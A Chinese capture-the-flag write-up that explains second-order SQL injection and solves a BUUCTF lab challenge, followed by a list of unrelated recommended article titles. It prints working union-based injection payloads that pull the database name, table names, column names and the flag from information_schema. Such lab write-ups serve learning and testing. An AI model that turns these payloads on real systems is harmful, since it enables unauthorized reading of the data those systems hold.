【BUUCTF】October 2019 Twice SQL Injection1及知识点整理

打开题目页面,是一个登陆界面

先进行注册,尝试使用SQL注入看看会返回什么

跳转到登陆界面,我们用刚才注册的登录

显示的界面如下

在这个页面输入SQL注入语句,发现将单引号转义为了\,其他关键字并没有过滤

查看给出的源码

发现给出了数据库名

以及注入点在username,且有单引号,判断为字符型注入

二次注入知识点

二次注入是指攻击者将恶意数据存储在数据库或其他存储介质中,当应用程序再次从存储介质中读取并使用这些数据时,没有进行适当的验证和过滤,导致恶意数据被执行,从而引发安全漏洞。通常会对关键字如单引号进行转义

攻击原理

攻击者通过某种方式,如在用户注册、评论、文件上传等功能模块中,将包含恶意代码或特殊字符的数据输入到应用程序中。应用程序没有对输入数据进行严格的验证和过滤,直接将其存储到数据库或其他存储位置。

当应用程序在后续的业务逻辑中,从存储介质中读取之前存储的用户输入数据,并在未进行充分安全检查的情况下,将其用于 SQL 查询、命令执行、模板渲染等操作,导致恶意数据被解析和执行,从而实现攻击者的目的,如获取敏感数据、篡改数据、执行系统命令等。

用户修改个人信息时,攻击者可在用户名、邮箱等字段中注入恶意 SQL 语句。若系统在更新或查询用户信息时未正确处理,就可能触发二次注入。

攻击者在发表评论时插入恶意脚本,当其他用户查看评论或系统对评论进行处理时,可能执行恶意脚本。

攻击者上传包含恶意代码的文件,系统存储后,若在后续处理文件内容时未做安全检测,可能导致恶意代码执行。

接下来进行二次注入

注册时在用户名处用输入恶意的SQL语句,进行爆破、查询等

在登陆中,输入同样的恶意语句,在这个过程中会将我们输入的语句和数据库对比,在

查询数据库中的用户名对比过程中,就会执行输入的恶意SQL语句

爆出数据库名

1' and 1=2 union select database() #

用户名处的语句最后的#将后面的语句注释了,故密码处可以随便简单输入

登录界面使用同样的语句

爆出了数据库名:ctftraining

爆出表名

1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

爆出了表名flag,news,users

猜测flag在flag表中

爆出字段

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

爆出字段为flag

爆出字段内容

1' union select group_concat(flag) from flag#

最后得到flag

相关推荐
心易行者14 小时前
用HTML在线运行搭后台管理系统:5个核心模块+0服务器,3天跑通完整业务
大数据·前端·网络·人工智能·python
山东科恩光电14 小时前
提升工业安全:安全地毯的重要性与优势解析
安全
专家大圣14 小时前
Grafana 远程访问实战:本地 3000 端口跑通后,再配置固定公网入口
网络·内网穿透
moonsims15 小时前
Voliro 无人机-Aerial Mobile Robot(空中移动机器人):把无人机从“飞过去拍摄”,升级成“飞过去并与目标物理接触、测量甚至操作”
前端·人工智能·安全·无人机·量子计算
l1t16 小时前
DeepSeek 4.1总结的Tom Lane 谈塑造 Postgres 三十年历程的架构决策
开发语言·数据库·postgresql·架构
星云API|微信接口开发17 小时前
企业微信二次开发实战笔记:如何用在线调试快速验证接口功能
数据库·笔记·企业微信
PHP实战开发录19 小时前
PHP事务异常后为什么数据还写进去了
mysql·php·开发
隔窗听雨眠1 天前
记一次SQL Server数据库性能分析:从CPU100%到单配置修复的完整诊断
开发语言·数据库·php
samson_www1 天前
Oracle数据泵拷贝表空间
数据库·dba
三8441 天前
PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入
android·web安全·php·反序列化·session